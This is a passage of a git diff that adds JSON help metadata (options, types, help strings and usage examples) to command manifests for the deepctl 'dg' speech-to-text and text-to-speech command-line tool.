+        "hidden": false,
+        "help": "Maximum number of results (default: 10)"
+      },
+      {
+        "class": "option",
+        "name": "method",
+        "opts": [
+          "--method"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Filter by method (sync, async, streaming)"
+      },
+      {
+        "class": "option",
+        "name": "endpoint",
+        "opts": [
+          "--endpoint"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Filter by endpoint (listen, read, speak, agent)"
+      },
+      {
+        "class": "option",
+        "name": "status",
+        "opts": [
+          "--status"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Filter by status (succeeded, failed)"
+      },
+      {
+        "class": "option",
+        "name": "show",
+        "opts": [
+          "--show",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Show details for a specific request"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/skills.json b/src/deepctl/_manifest.d/skills.json
index a6b3b86f..3c8e7c70 100644
--- a/src/deepctl/_manifest.d/skills.json
+++ b/src/deepctl/_manifest.d/skills.json
@@ -6,5 +6,18 @@
   "summary": "Manage AI coding assistant integrations for deepctl",
   "hidden": false,
   "group": true,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "skills",
+    "help": "Manage AI coding assistant integrations for deepctl",
+    "short_help": "Manage AI coding assistant integrations for deepctl",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": true,
+    "options_metavar": "[OPTIONS]",
+    "params": [],
+    "group": true,
+    "subcommand_metavar": "COMMAND [ARGS]..."
+  }
 }
diff --git a/src/deepctl/_manifest.d/speak.json b/src/deepctl/_manifest.d/speak.json
index ac5f2427..ee9b0e99 100644
--- a/src/deepctl/_manifest.d/speak.json
+++ b/src/deepctl/_manifest.d/speak.json
@@ -5,5 +5,332 @@
   "dist": "deepctl-cmd-speak",
   "summary": "Text-to-speech",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "speak",
+    "help": "Convert text to speech using Deepgram TTS\n\nExamples:\n  dg speak \"Hello from Deepgram\" --play\n  dg speak --list-voices\n  dg speak \"Hello world\"\n  dg speak \"Hello world\" -o hello.wav\n  dg speak \"Hello world\" -o hello.wav --play\n  dg speak --file message.txt -o output.wav\n  dg speak \"Hello\" | ffplay -loglevel error -nodisp -autoexit -\n  dg speak \"A little slower, please\" --speed 0.9 -o slow.wav\n  dg speak \"So exciting!\" --expressivity 2 -o lively.wav  # beta; default: 0\n  dg speak \"Hello\" -m aura-2-asteria-en -o hello.mp3\n  dg speak \"Hello\" -m aura-2-luna-en -o hello.wav --encoding linear16 --container wav\n  echo \"Hello\" | dg speak -o hello.mp3 -m aura-2-asteria-en\n  dg speak \"Hola, mundo\" -m aura-2-selena-es -o hola.mp3\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Text-to-speech",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "list_voices",
+        "opts": [
+          "--list-voices"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List available TTS voices and exit (no speech generated)"
+      },
+      {
+        "class": "option",
+        "name": "play",
+        "opts": [
+          "--play"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Play the audio through your system player (ffplay, afplay, paplay, or aplay). Can be combined with -o to save and play."
+      },
+      {
+        "class": "option",
+        "name": "file",
+        "opts": [
+          "--file",
+          "-f"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Read text from file"
+      },
+      {
+        "class": "option",
+        "name": "expressivity",
+        "opts": [
+          "--expressivity"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Flux TTS (v2) only, beta. Expressive range: -2, -1, 0, 1, or 2 (default 0 = nominal; negative flatter, positive more animated). Fixed for the connection."
+      },
+      {
+        "class": "option",
+        "name": "speed",
+        "opts": [
+          "--speed"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "float"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Flux TTS (v2) only. Speech-rate multiplier: 0.85, 0.90, 0.95, 1.00, 1.05, 1.10, or 1.15 (1.00 = nominal)."
+      },
+      {
+        "class": "option",
+        "name": "sample_rate",
+        "opts": [
+          "--sample-rate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "float"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Audio sample rate in Hz"
+      },
+      {
+        "class": "option",
+        "name": "container",
+        "opts": [
+          "--container"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Audio container (none, wav, ogg). Aura (v1) only; ignored for flux-* (linear16 is auto-wrapped in WAV)."
+      },
+      {
+        "class": "option",
+        "name": "encoding",
+        "opts": [
+          "--encoding"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Audio encoding. Aura (v1): mp3, linear16, flac, mulaw, alaw, opus, aac. Flux (v2) streaming is raw only: linear16 (default), mulaw, alaw."
+      },
+      {
+        "class": "option",
+        "name": "model",
+        "opts": [
+          "--model",
+          "-m"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "TTS model. flux-* = Flux TTS / Speak v2 (WebSocket streaming; default flux-alexis-en); aura-* = Speak v1 (REST batch, e.g. aura-2-asteria-en). See voices: dg speak --list-voices"
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output file path (required if stdout is a terminal)"
+      },
+      {
+        "class": "argument",
+        "name": "text",
+        "opts": [
+          "text"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/transcribe.json b/src/deepctl/_manifest.d/transcribe.json
index 4ab22514..04fc32a6 100644
--- a/src/deepctl/_manifest.d/transcribe.json
+++ b/src/deepctl/_manifest.d/transcribe.json
@@ -5,5 +5,571 @@
   "dist": "deepctl-cmd-transcribe",
   "summary": "Transcribe audio (deprecated alias for dg listen)",
   "hidden": true,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "transcribe",
+    "help": "Transcribe audio files or URLs using Deepgram.\n\nThis command is a deprecated alias for `dg listen`. Use `dg listen` for all new scripts.\n\nExamples:\n  dg listen audio.mp3\n  dg listen https://example.com/call.mp3 --diarize\n  dg listen --mic --model nova-3 --interim\n  dg listen audio.mp3 --diarize --summarize --save-to transcript.txt\n  dg listen call.wav --redact numbers --numerals\n  dg listen --mic --model flux-general-en --redact aggressive_numbers\n  dg -o json listen audio.mp3 | jq '.results.channels[0].alternatives[0].transcript'\n  ffmpeg -i video.mp4 -f s16le -ar 16000 -ac 1 - | dg listen --encoding linear16\n  dg listen -  # read raw audio from stdin interactively\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Transcribe audio (deprecated alias for dg listen)",
+    "epilog": null,
+    "hidden": true,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "srt",
+        "opts": [
+          "--srt"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output SRT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --webvtt."
+      },
+      {
+        "class": "option",
+        "name": "webvtt",
+        "opts": [
+          "--webvtt"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output WebVTT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --srt."
+      },
+      {
+        "class": "option",
+        "name": "no_validate",
+        "opts": [
+          "--no-validate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip source validation (faster, but less helpful errors)"
+      },
+      {
+        "class": "option",
+        "name": "probe",
+        "opts": [
+          "--probe"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Run ffprobe analysis before transcribing (local files only)"
+      },
+      {
+        "class": "option",
+        "name": "save_to",
+        "opts": [
+          "--save-to",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Save transcript (or caption file) to a path"
+      },
+      {
+        "class": "option",
+        "name": "channels",
+        "opts": [
+          "--channels"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Number of audio channels (default: 1)"
+      },
+      {
+        "class": "option",
+        "name": "sample_rate",
+        "opts": [
+          "--sample-rate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Sample rate in Hz for raw stdin streams (default: 16000)"
+      },
+      {
+        "class": "option",
+        "name": "encoding",
+        "opts": [
+          "--encoding"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Raw audio encoding for stdin streams (e.g. linear16, mulaw, opus). Auto-detect skips this."
+      },
+      {
+        "class": "option",
+        "name": "interim",
+        "opts": [
+          "--interim"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show partial results as they arrive (live streaming only)"
+      },
+      {
+        "class": "option",
+        "name": "numerals",
+        "opts": [
+          "--numerals"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Convert spoken numbers to digits ('four twenty' -> '420'). Applies to files and live streams."
+      },
+      {
+        "class": "option",
+        "name": "redact",
+        "opts": [
+          "--redact"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": true,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Redact sensitive content. Flux STT (v2) accepts 'numbers' or 'aggressive_numbers'; v1 models also accept 'pci', 'ssn', etc. Repeatable on v1 (e.g. --redact pci --redact numbers). Applies to files and live streams."
+      },
+      {
+        "class": "option",
+        "name": "sentiment",
+        "opts": [
+          "--sentiment"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Analyse sentiment (pre-recorded only)"
+      },
+      {
+        "class": "option",
+        "name": "topics",
+        "opts": [
+          "--topics"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Detect topics (pre-recorded only)"
+      },
+      {
+        "class": "option",
+        "name": "summarize",
+        "opts": [
+          "--summarize"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Generate a summary (pre-recorded only)"
+      },
+      {
+        "class": "option",
+        "name": "punctuate",
+        "opts": [
+          "--punctuate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Add punctuation (default: on)"
+      },
+      {
+        "class": "option",
+        "name": "smart_format",
+        "opts": [
+          "--smart-format"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable smart formatting — numbers, dates, punctuation (default: on)"
+      },
+      {
+        "class": "option",
+        "name": "diarize",
+        "opts": [
+          "--diarize"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Label speakers in output as [Speaker 0], [Speaker 1], …"
+      },
+      {
+        "class": "option",
+        "name": "language",
+        "opts": [
+          "--language",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Language code, e.g. en-US, es-ES (default: en-US)"
+      },
+      {
+        "class": "option",
+        "name": "model",
+        "opts": [
+          "--model",
+          "-m"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Deepgram model to use (default: nova-3)"
+      },
+      {
+        "class": "option",
+        "name": "mic",
+        "opts": [
+          "--mic"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Use microphone for live transcription (requires: pip install 'deepctl-cmd-listen[mic]')"
+      },
+      {
+        "class": "argument",
+        "name": "source",
+        "opts": [
+          "source"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/update.json b/src/deepctl/_manifest.d/update.json
index 6e12b7ed..5e98d438 100644
--- a/src/deepctl/_manifest.d/update.json
+++ b/src/deepctl/_manifest.d/update.json
@@ -5,5 +5,197 @@
   "dist": "deepctl-cmd-update",
   "summary": "Check for and install updates to deepctl",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "update",
+    "help": "Check for and install updates to deepctl\n\nExamples:\n  dg update\n  dg update --check-only\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Check for and install updates to deepctl",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "yes",
+        "opts": [
+          "--yes",
+          "-y"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip confirmation prompt"
+      },
+      {
+        "class": "option",
+        "name": "force",
+        "opts": [
+          "--force"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Force update even if already up to date"
+      },
+      {
+        "class": "option",
+        "name": "check_only",
+        "opts": [
+          "--check-only",
+          "--check"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Only check for updates without installing"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/usage.json b/src/deepctl/_manifest.d/usage.json
index 8a1b3a4a..bd265b72 100644
--- a/src/deepctl/_manifest.d/usage.json
+++ b/src/deepctl/_manifest.d/usage.json
@@ -5,5 +5,282 @@
   "dist": "deepctl-cmd-usage",
   "summary": "View usage statistics",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "usage",
+    "help": "View Deepgram usage statistics\n\nExamples:\n  dg usage\n  dg usage --last-month\n  dg usage --start-date 2025-01-01 --end-date 2025-01-31\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "View usage statistics",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "summary",
+        "opts": [
+          "--summary"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show summary only"
+      },
+      {
+        "class": "option",
+        "name": "current_month",
+        "opts": [
+          "--current-month"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show usage for current month"
+      },
+      {
+        "class": "option",
+        "name": "last_month",
+        "opts": [
+          "--last-month"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
